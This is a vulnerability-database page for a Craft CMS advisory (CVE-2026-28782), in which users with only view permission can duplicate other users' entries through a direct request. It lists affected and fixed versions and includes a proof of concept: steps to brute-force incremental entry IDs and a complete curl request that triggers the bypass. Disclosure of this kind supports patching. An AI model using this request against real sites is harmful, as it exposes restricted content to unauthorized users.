Monitor vulnerabilities like this one. Sign up free to get alerted when software you use is affected.
5.7

Craft CMS allows users to duplicate and access restricted content

CVE-2026-28782 GHSA-jxm3-pmm2-9gf6
Summary

A user with minimal permissions can duplicate other users' entries and access restricted content. This is a problem because it allows unauthorized access to sensitive information. To fix this, update Craft CMS to the latest version, and ensure users only have the necessary permissions.

What to do
  • Update craftcms cms to version 5.9.0-beta.1.
  • Update craftcms cms to version 4.17.0-beta.1.
Affected software
VendorProductAffected versionsFix available
craftcms cms > 5.0.0-RC1 , <= 5.9.0-beta.1 5.9.0-beta.1
craftcms cms > 4.0.0-RC1 , <= 4.17.0-beta.1 4.17.0-beta.1
craftcms craft_cms > 4.0.0 , <= 4.17.0
craftcms craft_cms > 5.0.0 , <= 5.9.0
craftcms craft_cms 4.0.0
craftcms craft_cms 4.0.0
craftcms craft_cms 4.0.0
craftcms craft_cms 4.0.0
craftcms craft_cms 5.0.0
craftcms craft_cms 5.0.0
Original title
Craft CMS has Permission Bypass and IDOR in Duplicate Entry Action
Original description
## Description
The "Duplicate" entry action does not properly verify if the user has permission to perform this action on the specific target elements.
Even with only "View Entries" permission (where the "Duplicate" action is restricted in the UI), a user can bypass this restriction by sending a direct request.

Furthermore, this vulnerability allows duplicating **other users' entries** by specifying their Entry IDs. Since Entry IDs are incremental, an attacker can trivially brute-force these IDs to duplicate and access restricted content across the system.

## Proof of Concept
### Prerequisites
- A user with "View Entries" permission on any section.

### Steps to Reproduce
1. Log in as a user with minimal permissions ("View Entries").
1. Identify the target Entry ID (e.g., via brute-force `1` to `N`).
1. Send the following cURL request:
> Replace `craft.local`, `<Cookie>`, `<CSRF>` and `6393` (which is the entry ID):
```bash
curl --path-as-is -i -s -k -X $'POST' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json' -H $'Content-Type: application/json' -H $'X-CSRF-Token: <CSRF>' -H $'Content-Length: 216' -b $'<Cookie>' --data-binary $'{\"context\":\"index\",\"elementType\":\"craft\\\\elements\\\\Entry\",\"source\":\"section:17da21e5-0cfe-41f5-8cd2-450a94f7989c\",\"viewState\":{\"static\":true},\"elementAction\":\"craft\\\\elements\\\\actions\\\\Duplicate\",\"elementIds\":[6393]}' $'http://craft.local/index.php?p=admin%2Factions%2Felement-indexes%2Fperform-action'
```
1. Observe that a new entry is created with the attacker as the owner, granting full access to the content.

## Resources

https://github.com/craftcms/cms/commit/fb61a91357f5761c852400185ba931f51d82783d
nvd CVSS3.1 4.3
nvd CVSS4.0 5.3
Vulnerability type
CWE-639 Authorization Bypass Through User-Controlled Key
Published: 3 Mar 2026 · Updated: 13 Mar 2026 · First seen: 6 Mar 2026